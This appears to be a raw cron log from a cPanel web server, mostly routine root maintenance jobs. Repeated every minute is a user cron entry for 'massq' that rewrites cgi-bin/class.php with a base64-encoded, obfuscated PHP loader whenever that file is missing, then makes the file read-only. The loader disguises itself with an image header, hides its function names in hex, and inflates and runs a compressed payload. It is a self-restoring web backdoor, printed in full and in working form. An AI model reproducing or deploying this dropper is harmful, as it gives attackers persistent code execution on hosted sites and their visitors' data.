Sep  4 09:27:01 server CROND[17480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:27:01 server CROND[17484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:28:01 server CROND[17863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:28:01 server CROND[17864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:28:01 server CROND[17865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:29:01 server CROND[18297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:29:01 server CROND[18298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:29:01 server CROND[18299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:30:01 server CROND[18776]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 09:30:01 server CROND[18779]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 09:30:01 server CROND[18780]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:30:01 server CROND[18783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:30:01 server CROND[18784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:30:01 server CROND[18785]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 09:30:01 server CROND[18787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:30:01 server CROND[18782]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:31:01 server CROND[19611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:31:01 server CROND[19612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:31:01 server CROND[19615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:32:01 server CROND[19991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:32:01 server CROND[19992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:32:01 server CROND[19993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:33:01 server CROND[20371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:33:01 server CROND[20372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:33:01 server CROND[20373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:34:01 server CROND[20773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:34:01 server CROND[20774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:34:01 server CROND[20775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:35:01 server CROND[21267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:35:01 server CROND[21269]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 09:35:01 server CROND[21271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:35:01 server CROND[21276]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 09:35:01 server CROND[21274]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 09:35:01 server CROND[21275]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:35:01 server CROND[21272]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:35:01 server CROND[21273]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 09:35:01 server CROND[21277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:36:01 server CROND[22127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:36:01 server CROND[22128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:36:01 server CROND[22129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:37:01 server CROND[22564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:37:01 server CROND[22565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:37:01 server CROND[22566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:38:01 server CROND[23117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:38:01 server CROND[23116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:38:01 server CROND[23118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:39:01 server CROND[23494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:39:01 server CROND[23495]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
